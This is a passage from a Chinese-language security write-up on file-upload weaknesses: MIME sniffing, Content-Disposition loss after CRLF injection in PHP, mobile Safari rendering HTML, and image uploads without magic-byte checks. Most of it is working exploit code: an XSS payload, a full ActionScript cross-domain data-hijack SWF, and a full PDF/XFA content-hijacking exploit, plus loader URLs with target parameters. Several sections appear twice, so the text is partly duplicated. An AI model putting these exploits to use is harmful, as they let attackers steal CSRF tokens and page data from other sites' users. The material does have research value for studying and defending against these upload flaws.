https://twitter.com/mramydnei/status/782324732897075200
也就是说content-type实际上是根据扩展名来决定的。举个例子,如果目标站允许上传iso文件,且没有设置X-Content-Type-Options=nosniff头,就可以上传内容为<img
src=x
onerror=alert(1)>的iso文件。只要目标用户通过IE/EDGE对目标进行访问,文件就以text/html的形式解析。
0x05 尴尬的content-disposition头
这里有两个问题。一个是关于safari的,另一个是关于PHP的。
在相对较新的PHP版本当中,作为PHP的新特性如果发生了CRLF注入,目标头就会被移除。这里的问题是,有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时,将原始文件名赋值到了file=""处,那么就会产生一个存储型的CRLF漏洞。作为结果,在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一,抱歉文件又有可能被解析了。
具体代码可以参考我之前的这条twit:
以上问题可以在PHP5.6.17-3可复现。
还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件,但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析,没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行,但是HTML依旧会被解析。
以上内容在最新的ios for safari 10.0.2可复现。
BTW,ios8.4不但会无视Content-Disposition头,还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。
0x06 图片只检测了扩展名却没有检测magicbyte
这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件,再用irsdl写的exploit直接搞起。
flash源码:
Exploit:作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。
0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"
这个有些限制。IE Only+,默认的PDF浏览器必须是Adobe Reader。
PDF源码:
Exploit:
作为结果可以跨域窃取写入到页面内的CSRF等敏感信息。
0x05 尴尬的content-disposition头
这里有两个问题。一个是关于safari的,另一个是关于PHP的。
在相对较新的PHP版本当中,作为PHP的新特性如果发生了CRLF注入,目标头就会被移除。这里的问题是,有些程序员喜欢把上传文件名给改了。然后把原始文件名保存到DB当中。如果存储到DB当中文件名包含了0x0D/0x0A/0x00其中的任何一个且在使用content-disposition头对上传的文件进行强制下载时,将原始文件名赋值到了file=""处,那么就会产生一个存储型的CRLF漏洞。作为结果,在新的PHP版本当中content-disposition头会被移除。如果content-disposition是你主要的防线之一,抱歉文件又有可能被解析了。
具体代码可以参考我之前的这条twit:
以上问题可以在PHP5.6.17-3可复现。
还有一个就是手机端的safari并不存在下载附件这种功能的问题。如果你允许上传htm文件,但是设置了nosniff,设置了content-disposition那在PC浏览器的世界里不会有任何问题。文件不会被解析,没有XSS。
手机版的safari虽然在一次修复过后已经禁用了这种情况下的JS执行,但是HTML依旧会被解析。
<?php
header("Content-Type:text/html");
header(\'Content-Disposition: attachment; filename="download.htm"\');
header("X-Content-Type-Options: nosniff");
?>
<a href=javascript:alert(1)>clickme</a>
<script>alert(1)</script>
BTW,ios8.4不但会无视Content-Disposition头,还会执行JS。具体是从哪个版本开始不能直行JS的我也不太清楚。
0x06 图片只检测了扩展名却没有检测magicbyte
这个是老问题了。可以上传扩展名为png/gif/jpg的swf文件,再用irsdl写的exploit直接搞起。
flash源码:
package com.powerflasher.SampleApp {
import flash.external.ExternalInterface;
import flash.display.Sprite;
import flash.display.Sprite;
import flash.events.Event;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.text.TextField;
import flash.text.TextFieldAutoSize;
import flash.xml.*;
import flash.events.IOErrorEvent;
import flash.events.*;
import flash.net.*;
/**
* @author User
*/
public class CrossDomainDataHijack extends Sprite {
private var loader:URLLoader;
public function CrossDomainDataHijack() {
loader = new URLLoader();
configureListeners(loader);
var target:String = root.loaderInfo.parameters.input;
var request:URLRequest = new URLRequest(target);
try {
loader.load(request);
} catch (error:Error) {
sendDatatoJS("Unable to load requested document; Error: " + error.getStackTrace());
}
}
private function configureListeners(dispatcher:IEventDispatcher):void {
dispatcher.addEventListener(Event.COMPLETE, completeHandler);
dispatcher.addEventListener(Event.OPEN, openHandler);
dispatcher.addEventListener(ProgressEvent.PROGRESS, progressHandler);
dispatcher.addEventListener(SecurityErrorEvent.SECURITY_ERROR, securityErrorHandler);
dispatcher.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
dispatcher.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
}
private function completeHandler(event:Event):void {
var loader:URLLoader = URLLoader(event.target);
//trace("completeHandler: " + loader.data);
sendDatatoJS("completeHandler: " + loader.data);
}
private function openHandler(event:Event):void {
//trace("openHandler: " + event);
sendDatatoJS("openHandler: " + event);
}
private function progressHandler(event:ProgressEvent):void {
//trace("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
sendDatatoJS("progressHandler loaded:" + event.bytesLoaded + " total: " + event.bytesTotal);
}
private function securityErrorHandler(event:SecurityErrorEvent):void {
//trace("securityErrorHandler: " + event);
sendDatatoJS("securityErrorHandler: " + event);
}
private function httpStatusHandler(event:HTTPStatusEvent):void {
//trace("httpStatusHandler: " + event);
sendDatatoJS("httpStatusHandler: " + event);
}
private function ioErrorHandler(event:IOErrorEvent):void {
//trace("ioErrorHandler: " + event);
sendDatatoJS("ioErrorHandler: " + event);
}
private function sendDatatoJS(data:String):void{
trace(data);
ExternalInterface.call("sendToJavaScript", data);
}
}
}
http://0me.me/demo/SOP/CrossDomainDataHijackHelper.html
0x07 允许上传pdf,验证了magicbyte 却没有设置"Content-Disposition: Attachment"和"X-Content-Type-Options: nosniff"
这个有些限制。IE Only+,默认的PDF浏览器必须是Adobe Reader。
PDF源码:
% Created by Soroush Dalili (@irsdl)
% Released under AGPL (see LICENSE for more information).
% Version 1.2
%PDF-1.1
1 0 obj
<<
/Pages 2 0 R % Set to the Kids object
/AcroForm
<<
/Fields[3 0 R] % Set to the text field
/XFA 5 0 R % Set to the XDP form
>>
/OpenAction
<<
/S /JavaScript
/JS(
// And here fun begins... chamber of JavaScript god.
var onloadInterval;
var myHostContainer;
var target="";
var postData="";
this.getField("mydata").multiline=true;
function onErrorFunc(e, customMSG) {
var errMessage = customMSG + " -- Error:" + e.toString();
// We like to alert this and that! we don\'t have enough money to pay for a fancy debugger!
app.alert(errMessage);
logIt(errMessage,"1");
}
function onMSGHandlerErrorFunc(e) {
onErrorFunc(e, "Error in messageHandler.");
}
function logIt(strMessage,strType){
//this.getField("mydata").value += strMessage; // I cannot do this when I have XFA?
// strType = 1 -> error!
if(myHostContainer!=null && target!=""){
myHostContainer.postMessage([strMessage,strType]);
}
}
try{
this.disclosed = true; // To tell HTML that I\'m all yours! no not really! just shares a function for onMessage!
if (this.external && this.hostContainer) {
function onMessageFunc( stringArray ) {
try{
target = stringArray[0];
if(stringArray[1])
postData = stringArray[1];
else
postData = "";
// We have our target and everything set-up! If I don\'t delete my PDF file accidentally again, it should work fine!
var contents = "";
if(postData!="")
contents = objMy_fc_Form.func.Post(target,postData);
else
contents = objMy_fc_Form.func.Get(target);
if(contents==""){
contents = "Target page was not accessible."; // I\'m so sorry master!
logIt(contents,"1");
}else{
contents = contents; // This is the apple! I want to eat it now! He said...
logIt(contents,"0");
}
}
catch(e){
onErrorFunc(e , "Error in connecting to HTML section");
}
}
try {
if(!this.hostContainer.messageHandler);
this.hostContainer.messageHandler = new Object();
this.hostContainer.messageHandler.myDoc = this;
this.hostContainer.messageHandler.onMessage = onMessageFunc;
//this.hostContainer.messageHandler.onError = onMSGHandlerErrorFunc;
this.hostContainer.messageHandler.onDisclose = function(){
return true;
};
}
catch(e){
onErrorFunc(e, "Error in setting messageHandler attributes.");
}
function clearIntervals(){
app.clearInterval(onloadInterval);
}
if(this.hostContainer) {
try{
// To announce that PDF is ready for action!
myHostContainer = this.hostContainer;
onloadInterval = app.setInterval("this.hostContainer.postMessage([\'loaded\',\'1\']);",500);
app.setTimeOut("clearIntervals();",5000); // Keep sending the message for 5 seconds to make sure HTML will receive it
}
catch(e){
onErrorFunc(e, "Error in telling HTML about PDF loading!");
}
}
}
}catch(e){
onErrorFunc(e, "Error somewhere in the code!");
}
)
>>
/Type /Catalog
>>
endobj
2 0 obj
<<
/Kids[
<<
/Parent 2 0 R
% /Contents[10 0 R] % For the content
/Annots 4 0 R % Set to the annotation which points to the field - I needed this to show the text box
>>
]
/Resources
<<
/ProcSet [ /PDF /Text ]
>>
>>
3 0 obj<<
/Rect[0 0 800 800]
/Subtype/Widget
/T(mydata) % this is the name
/V(Hello World from PDF!) % this is the value
/Type
/Annot
/FT
/Tx
/Subtype
/Widget
>>
endobj
4 0 obj[3 0 R]
endobj
% My XDP Form
% Interaction between JavaScript and FormCalc
% Got the idea from: blogs.adobe.com/formfeed/files/formfeed/fragments/scFormCalc.xdp and
% http://blogs.adobe.com/formfeed/2009/02/calling_formcalc_functions_fro.html
5 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf><interactive>1</interactive></pdf></present></config>
<template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
<?formServer defaultPDFRenderFormat acrobat9.0static?>
<subform name="myXFAForm" locale="en_US" layout="tb">
<pageSet>
<pageArea>
<contentArea x="0.25in" y="0.25in" w="8in" h="10.5in"/>
<medium stock="letter" short="8.5in" long="11in"/>
</pageArea>
</pageSet>
<subform access="readOnly" h="19.05mm" name="fc" w="141.41mm">
<variables>
<script contentType="application/x-javascript" name="func">
var objDoc=-1;
/**
* This script object contains a series of functions
* that redirect their input to the corresponding formcalc
* functions.
* If you want to call these functions from an initialization script,
* be sure to place the fc subform at the front of the template. <br/>
* Version 2: Added Get(). Use execEvent("enter") instead of the calculate event.
* Calculate was introducing un-needed dependency tracking.
*/
var oVersionInfo = {
identifier: "FormCalcFromJavaScript",
assetType: "fragment",
description: "Support for FormCalc functions: Format(), Parse(), WordNum(), Uuid(), UnitValue(), Get()",
currentVersion: 2
};
/*global F P1 P2 NullValue ResultString */
/**
* Format a value based on a picture
* @param vPicture - the picture clause
* @param vValue - The value to format
* @return the formatted value. Empty string if the format fails.
*/
function Format(vPicture, vValue)
{
F.value = "Format";
P1.value = vPicture;
P2.value = vValue;
NullValue.value = vValue === null;
this.execEvent("enter");
return ResultString.value;
}
/**
* Parse a value based on a picture
* @param vPicture - the picture clause
* @param vValue - The value to parse
* @return the raw/canonical value. Empty string if the parse fails.
*/
function Parse(vPicture, vValue)
{
F.value = "Parse";
P1.value = vPicture;
P2.value = vValue;
this.execEvent("enter");
return ResultString.value;
}
/**
* Convert a number into words. Note that currently only English is supported.
* @param vInputValue
* @return the value expressed as words.
*/
function WordNum(vInputValue)
{
F.value = "WordNum";
// Make sure we convert all numeric input values to string
// all parameters to formcalc functions are strings
P1.value = vInputValue.toString();
this.execEvent("enter");
return ResultString.value;
}
/**
* Return a Universally Unique Identifier (UUID) string.
* @param vN1 identifies the format of UUID string requested:<br/>
* if the value is 0, the returned UUID string will only contain hex octets.<br/>
* if the value is 1, the returned UUID string will contain dash characters separating the sequences of hex octets, at fixed positions.
* @return the uuid value string
*/
function Uuid(vN1)
{
F.value = "Uuid";
P1.value = vN1.toString();
this.execEvent("enter");
return ResultString.value;
}
/**
* Returns the value of a unitspan after an optional unit conversion.
* A unitspan string consist of a number immediately followed by a unit name.
* Recognized unit names include:in, mm, cm, pt
* @param vMeasurement -- the measurement string value
* @param vUnits - the units to convert to
* @return the numeric value in the requested units
*/
function UnitValue(vMeasurement, vUnits)
{
F.value = "UnitValue";
P1.value = vMeasurement;
P2.value = vUnits;
this.execEvent("enter");
// cast return value to the expected type.
return parseFloat(ResultString.value);
}
/**
* Download the contents of the given URL.
* @param vAddress -- the requested URL
* @return the contents of the URL.
*/
function Get(vAddress)
{
F.value = "Get";
P1.value = vAddress;
this.execEvent("enter");
return ResultString.value;
}
/**
* Download the contents of the given URL.
* @param vAddress -- the requested URL
* @param vContent -- POST data
* @return the contents of the URL.
*/
function Post(vAddress,vContent)
{
F.value = "Post";
P1.value = vAddress;
P2.value = vContent;
this.execEvent("enter");
return ResultString.value;
}
function Test(){
//setTimeOut(\'app.alert(this.getField("mydata"))\',3000);
//app.alert(app.getField);
return -1;
}
</script>
<?templateDesigner expand 1?></variables>
<bind match="none"/>
<event activity="initialize" name="event__initialize">
<script contentType="application/x-javascript">
// Define all the variables needed to pass parameters to/from the FormCalc functions
/*global fc */
if (fc.variables.nodes.namedItem("F") === null) {
this.variables.nodes.append(xfa.form.createNode("text", "F"));
this.variables.nodes.append(xfa.form.createNode("text", "P1"));
this.variables.nodes.append(xfa.form.createNode("boolean", "NullValue"));
this.variables.nodes.append(xfa.form.createNode("text", "P2"));
this.variables.nodes.append(xfa.form.createNode("text", "ResultString"));
this.variables.nodes.append(xfa.form.createNode("text", "P3"));
this.variables.nodes.append(xfa.form.createNode("text", "P4"));
this.variables.nodes.append(xfa.form.createNode("text", "P5"));
}
// Record this for now as JavaScript god may not send us a better fruit! Adam said!
fc.func.objDoc=event.target;
// We need to send this up where JavaScript god can use it! ;)
event.target.objMy_fc_Form = fc;
</script>
</event>
<event activity="enter" name="event__enter">
<script contentType=\'application/x-formcalc\'>
; execute the requested function based on the input
; request parameters
if (F == "WordNum") then
ResultString = WordNum(P1)
elseif (F == "Parse") then
ResultString = Parse(P1, P2)
elseif (F == "Format") then
if (NullValue) then
ResultString = Format(P1, null)
else
ResultString = Format(P1, P2)
endif
elseif (F == "Uuid") then
ResultString = Uuid(P1)
elseif (F == "UnitValue") then
ResultString = UnitValue(P1, P2)
elseif (F == "Get") then
ResultString = Get(P1)
elseif (F == "Post") then
ResultString = Post(P1, P2)
; POST in FormCalc can accept more inputs such as additional headers!
; example: Post(P1, P2, "application/x-www-form-urlencoded", "utf-8", "Referer: " + P1);
else
ResultString = ""
endif
</script>
</event>
<?templateDesigner expand 1?>
<?templateDesigner isFragment yes?>
<?templateDesigner fragmentTitle scFormCalc?>
<?templateDesigner fragmentDescription Allow access to FormCalc built in functions from JavaScript?>
</subform>
</subform>
<?originalXFAVersion http://www.xfa.org/schema/xfa-template/2.8/?>
<?templateDesigner FormTargetVersion 28?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 56?></template>
</xdp:xdp>
endstream
endobj
6 0 obj
<<
/Producer (@irsdl)
/Subject (Sec test)
/Title (Sec test)
/Author (root)
/Keywords (Sec test)
>>
endobj
% The following object is disabled which could be used in the content
%10 0 obj
%<<
%>>
%stream
% BT/default 10 Tf 1 0 0 1 1 715 Tm(Hello World!)Tj ET
%endstream
%endobj
trailer
<<
/Size 8
/ID [ (irsdl) (MyfancyPDF) ]
/Root 1 0 R
/Info 6 0 R
>>
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://15.rs/ContentHijacking/objects/ContentHijacking.pdf&objtype=pdf&target=https://0me.me/&postdata=param1=foobar&logmode=all?ex=owasp.*&isauto=1